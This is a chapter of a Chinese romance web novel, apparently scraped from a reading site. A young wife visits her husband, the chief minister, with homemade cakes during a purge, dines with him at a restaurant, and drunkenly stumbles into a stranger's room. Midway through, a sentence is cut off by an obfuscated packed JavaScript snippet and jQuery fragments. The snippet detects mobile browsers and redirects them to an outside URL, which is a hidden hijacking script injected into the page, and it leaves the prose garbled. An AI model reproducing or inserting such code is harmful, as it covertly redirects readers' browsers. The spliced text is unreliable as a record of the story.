默认冷灰
24号文字
方正启体

3. 花信风(二)

作者:桃溪听雀本书字数:K更新时间:
    那一夜后,二人多日未见,皇甫司玉也没给她带荔枝糕回来。


    祈花怜一直不习惯一个人睡觉,所以闹着让嬷嬷织了一个布娃娃,给它裹上白衣,束着金腰带,每天搂着爱不释手。


    春深时分,去年祈花怜在园里种的向日葵都开了,她给自己的院落取名为“青葵园”。


    入夜,只穿一件薄衫也不再觉得寒冷。


    榻前孤悬一盏黄绢灯,祈花怜披着乳白绸被,在布偶上歪歪扭扭绣了一个“玉”字。


    她很想念皇甫司玉。


    朱嬷嬷说这阵子前朝闹政变,皇甫大人政务繁忙,每日约莫只睡两个半时辰,有几次路过来青葵园,都看见她在睡懒觉,还给她掖过两回被角,她睡得沉,全然不知。


    祈花怜决定,明天等下了朝,就带些糕点去探望一下她的夫君大人。


    窗外落下几星雨滴,淅淅沥沥打在青瓦檐上。


    朱嬷嬷抱着竹筐到庭中收被子,眼看已是亥时,她见祈花怜屋里灯还亮着,怕是睡着忘了熄灯,便想进来瞧瞧。


    推门一看,只见祈花怜抱着布偶,泪眼婆娑,盯着灯穗儿,不知在想些什么。


    朱嬷嬷还以为祈花怜害怕雨下大了会打雷,于是给她拿了副更厚的被子,给她盖好。


    祈花怜缓缓睁开眼,下巴抵着布偶:“嬷嬷,我明天能不能去前厅去找皇甫大人?”


    朱嬷嬷用手帕给她擦了擦泪痕,心疼道:“当然可以,皇甫大人曾吩咐过,若有急事,准您去前厅。”


    祈花怜安下心,高兴转过身,裹紧了被褥。


    “那好,嬷嬷你也早些休息吧。”


    祈花怜性子软糯,尽管行事最是雷厉风行的太后娘娘,在寿康宫时,也不忍教训她,反而惯得她只知吃喝玩乐。


    如今,在这后宅里不见外人,祈花怜虽已十五又六,却还是一副小女孩儿的心性。


    翌日,天才刚蒙蒙亮。


    青葵园里聚着几团未散的白雾,池里的锦鲤还没醒,祈花怜就起来梳洗了。


    她穿了件粉莲色褥裙,裙摆绣着滚滚白荷,小小鹅蛋脸上浅施粉黛,樱唇不点而红。


    她又梳起一对双螺髻,对着铜镜左照右照,生怕哪里不妥帖,不过怎么看,都像个孩子。


    嫁了人,该梳妇人髻的,可她还是完璧之身,嬷嬷们就没跟她说过这些。


    穿好衣裳,祈花怜趿着软底绣鞋跑到小厨房,踮着脚,指挥厨娘们开始忙活。


    “多放些糖,多放些糖。”


    “好嘞。”


    后厨的婆子得了吩咐,将祈花怜亲手挑拣的樱桃揉进糯米粉里,蒸出两屉甜糯的糕团,还熬了一壶香喷喷的鱼丸羹。


    祈花怜提着食盒,哼着小曲儿,脚步轻快穿过游廊,这时候太阳已经出来了,照得廊上金灿灿的。


    路过假山时,听见几个侍卫低声议论,说昨夜禁军在宫门外守了通宵,朝堂上的风波怕是还没平。


    她脚步也慢了几分。


    这政变不是一件小事,牵连了许多人,皇甫司玉奉旨彻查涉案官员,一时间,东昌侯府外,排起了长队,尽是求情行贿之人。


    就连正殿阶前也候满了官员,甚至有些拖家带口的来求情,只为能跟皇甫氏攀上一点关系。


    祈花怜没见过这阵仗,还没走到殿前,腿脚就酥软了,她找了个人少的地方,见缝插针,往那呆呆一站。


    日上三竿,太阳晒得她头晕乎乎的。


    忽然,一穿着红衫的贵女,二十来岁,轻轻碰了下祈花怜,凌厉打量她:“你主子是谁?带这点东西来,首辅大人不会见你的。”


    红衫贵女身后还站着她穿着官袍的父亲母亲与长兄,马车旁摞了一幢紫漆宝箱。


    这好心提醒中携带着几分嘲讽意味。


    祈花怜一时半刻有些听不懂,她抱紧食盒,小手试了试温,生怕糕点凉了。


    “大人说,准我来找他的。”


    红衫贵女冷笑两声,正要挖苦她,殿上传来通告声。


    “首辅大人到。”


    皇甫司玉刚回来,他缓步走到殿门中央,一身朱红官袍还未更换,乌纱帽高戴,显得整个人龙高虎猛,他侧身矗立金字匾额下,四周有众剑卫拱守,只叫人觉得遥不可及。


    白玉阶前一众官员纷纷跪下行礼,此起彼伏山呼:“拜见首辅大人。”


    祈花怜反应慢些,她从前没给皇甫司玉行过这种大礼的,只有在皇宫见皇帝时才会这般兴师动众。


    当下,她赶紧将食盒放在一旁,学着众人慌张跪下,弱弱喊了声:“拜见首辅大人。”


    少女稚嫩的嗓音尤为突兀。


    皇甫司玉第一眼便瞧见那抹人群中的粉红,小小一团,露个圆圆的脑袋规矩跪着。


    他示意剑卫。


    剑卫眼色十分精明,领会到首辅意图,大步流星走下台阶,一把将祈花怜稳稳扶起。


    随后拔刀,将祈花怜护在身后,一手挡开人流,给她开出一道宽路。


    众官员们这才恍然大悟,眼前女子便是首辅大人的少妻,太后娘娘的亲侄女祈花怜。


    红衫贵女的母亲深深剜了她女儿一眼,小声啐道:“你说你,在这侯府重地,多什么嘴。”


    阶下的官员们大气不敢出,方才还满脸倨傲的红衫贵女,此刻脸白得像纸,攥着帕子的手都在抖。


    祈花怜被剑卫护着踏上白玉阶,皇甫司玉正垂眸看她。


    “怜怜,你还真来了。”


    这话说的,好像皇甫司玉知道她要来找她似的。


    的确,昨晚皇甫司玉用晚膳前来青葵园外走了一遭,在窗外听见祈花怜哭着说今天来找他。


    但祈花怜向来贪睡,难得早起,他今日刚下朝就去找了祈花怜,这时祈花怜已经往正殿去了,所以两人刚好错开。


    祈花怜仰头,小声道:“大人,我做了樱桃糕,还有鱼丸羹,想着你好几天都没来看我……”


    侍从端着食盒跟在身后,朱红的殿门缓缓合上,将阶下的窃窃私语与目光尽数隔绝。


    殿内檀香袅袅,案上奏折堆得如山似海,砚中墨汁微凉,皇甫司玉随手将官帽摘了递给小厮,转身时,眉宇间的冷冽褪去几分。


    祈花怜被殿内的肃穆气氛慑得有些拘谨,小手攥着裙摆。


    “大人趁热吃点吧。”


    皇甫司玉嗯了一声,却没动食盒,伸手将她拉到软榻上坐着。


    他的掌心带着常年握剑的薄茧,在此之前,祈花怜只知他像是一个纯粹的文官。


    皇甫司玉温润的神色中带着几分不易察觉的疲惫。


    “来找我做什么?”


    “朱嬷嬷说,大人每日只睡两个半时辰,我怕你累坏了,阿怜心疼大人。”


    祈花怜杏眸中水光潋滟。


    话音未落,殿外忽然传来急促的脚步声,侍从推门而入,神色凝重:“御史台那边递了折子,弹劾吏部侍郎私通叛党,人证已经押到府外了。”


    皇甫司玉眉头骤然拧紧,周身的温和顷刻消散,取而代之的是逼迫性的威压。


    他沉声道:“带进来。”


    祈花怜被这突如其来的变故惊得后退半步,皇甫司玉走向案前,背影挺直如松,却也透着几分孤绝。


    她悄悄走到食盒旁,将樱桃糕一块块摆进碟子里,又小心翼翼盛了一碗鱼丸羹,搁在案角最显眼的地方。


    “大人,那阿怜先退下了。”


    她轻声说,生怕打扰他处理公务。


    皇甫司玉执笔的手微微一顿,侧眸看了她一眼。


    “别走,等我忙完,带你去紫霞楼用晚膳。”


    少女站在案边,粉裙曳地,眉眼间满是乖巧,像一株怯生生的桃花,绽放在这肃穆的朝堂风云里。


    紫霞楼,是侯府外的地方,文人墨客喝酒的雅室。


    “好。”


    祈花怜搬了个小杌子坐在角落,托着腮看皇甫司玉批阅奏折,看他偶尔蹙眉思索,看他抬手揉眉心时露出的倦色。


    殿外的风吹动帘栊轻晃,祈花怜不自禁肖想起紫霞楼中有何等美食佳肴。


    祈花怜忽然觉得,那个与他同床共枕的夫君,和眼前这个威仪棣棣的首辅大人,其实从来都是同一个人


    而堂前被审问的犯人心中则是另一片天地,他绞尽脑汁,费心尽血,匍匐皇甫司玉靴下磕得头破血流,只为能给自己多挣几天能活在世上的日子。


    不过这种场面,在太后娘娘的寿康宫,祈花怜见过不少。


    过了午时,祈花怜明显饿了,肚子咕咕叫,她捂着裙子,仿佛这样就能掩盖住声音。


    又过一会儿,她实在忍不住,便顺着屏风蹲着绕到书架,再从书架绕到青玉案前,像只小鸭子。


    皇甫司玉聚精会神批注着卷轴,突然瞧见一只手,从桌下悄咪咪伸出来,摸到碟子,迅速偷偷拿走一块樱桃糕。


    他轻咳一声。


    祈花怜吓得猛的起身,头撞向桌顶,疼得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037970|194661||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哇哇大哭。


    皇甫司玉将她从桌底拉到身前。


    “饿了就告诉我,怎么偏要做这偷鸡摸狗的行径?”


    祈花怜抽噎着,眼泪还挂在睫毛上,却忍不住盯着碟子里的糕点咽口水:“我怕打扰你……”


    他捏了块桂花糕塞进她嘴里,看着她鼓着腮帮子像只偷食的小松鼠,眼底漫开清冷的笑意:“真是个孩子,再忙,也不差给你分块糕的功夫。”


    待皇甫司玉处置完御史台递来的折子,窗外日头已然西斜,将殿檐的影子拉得老长。


    他搁下笔,抬眼便瞧见角落杌子上的少女,不知何时竟倚着画屏睡着了,手里还捏着那块没吃完的糕饼,嘴角沾着点细碎的糕屑。


    皇甫司玉放轻脚步走过去,祈花怜便嘤咛一声醒了,迷迷糊糊拽住他的衣袖。


    “大人,我们还去东霞楼吗?”


    他替她拭去嘴角的糕屑。


    “去,怎么不去。”


    侯府的马车悄无声息驶过长街,停在一座鎏金飞檐的酒楼前,朱漆大门上悬着一块黑底金字匾额,上书东霞楼三个大字,笔力遒劲,一看便知是名家手笔。


    往来皆是锦衣玉食的贵胄,门口迎客的小厮见了皇甫司玉的车架,忙躬身引路。


    不知谁说:“那是皇甫大人的鸾车,他不是不喜欢这种地方的么?”


    又有人说:“你不知道,大人有一少妻,生得花颜玉骨,定是为了哄她开心,才来此处。”


    二楼宽敞华美的雅间早已备好,推窗便能望见街心的车水马龙。


    桌上摆着几碟精致小菜,最惹眼的是一笼冰鉴镇着的糕点,正是祈花怜心心念念的荔枝糕。


    青帽小厮介绍道:“这荔枝糕,是首辅大人您前不久吩咐东霞楼预备的,岭南的荔枝刚熟,便让人快马加鞭送来,去核捣泥,掺了新麦粉蒸的。”


    是荔枝糕!


    祈花怜急不可耐咬了一口,清甜的荔枝香在舌尖化开,软糯得恰到好处,眼眶倏然就红了。


    “原来大人一直记得。”


    皇甫司玉看着她泛红的眼角,没说话,只给她斟了一杯果酒。


    “慢些吃,没人抢。”


    那酒是东霞楼自酿的冰镇青梅酿,不烈,带着淡淡的果香,可祈花怜贪杯,一杯接一杯地喝,没一会儿,脸颊便染上了醉人的酡红,眼神也变得朦朦胧胧,像揉了雾。


    皇甫司玉怕她喝醉,伸手去夺她的酒杯,却被她躲开。


    少女摇摇晃晃站起来:“大人,我想去趟官房。”


    “去。”


    皇甫司玉看她扶着墙,晕晕乎乎走出雅间,拐了两个弯,便分不清东南西北了。


    走廊里的灯笼晃得人眼花,她行完事回来,瞅见一扇虚掩的门,以为是自家的雅间,推门便撞了进去。


    “咦,大人怎么换了身衣裳?”


    祈花怜软软糯糯的声音落下。


    那人正临窗而立,闻言一怔,低头便瞧见一个粉雕玉琢的小姑娘,满身的青梅酒香,仰着小脸蛋,一双杏眼水泠泠的,带着醉意。


    孟寒桥身穿雪青色绸缎长衫,腰间系着一块羊脂白玉佩,青丝如瀑,眉眼俊朗,神清骨瘦,如同画中谪仙少年,约莫十八九岁的年纪。


    祈花怜撞进少年怀里时,身上的粉莲色褥裙被廊下的风掀得歪歪斜斜,肩头的系带松脱大半,露出一片细腻的雪白肌肤。


    明明是莽撞的行径,偏生透着几分憨拙的可怜。


    紫袍少年眉峰间的冷意散了几分。


    换作旁人这般失礼,他早该拂袖推开,可看着祈花怜晕乎乎拽着自己衣襟,竟鬼使神差地没动。


    孟寒桥下意识伸手扶住祈花怜,指尖不小心拂过她温热的脸颊,他的声音清润,如玉石相击,落在祈花怜心间。


    “姑娘,你是不是走错地方了?”


    祈花怜鼻尖蹭了蹭他的衣襟,闻到一股清冽的幽谷兰草香,和皇甫司玉身上的檀香截然不同,却也很好闻。


    孟寒桥转身,从一旁的椅背上拾起自己的绛紫外衫,动作轻缓,他蹲下身,先替祈花怜拢好散乱的裙摆,再将外衫披在她肩上,指尖避开她的肌肤,只捏着衣料,细心替她系好领口的盘扣。


    她只傻乎乎地笑:“哥哥,你身上好香……”


    孟寒桥被她这娇憨的模样逗笑,正要开口再说些什么,雅间的门却被人叩响。


    皇甫司玉站在门口,脸色阴沉。


    “你们,在做什么?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)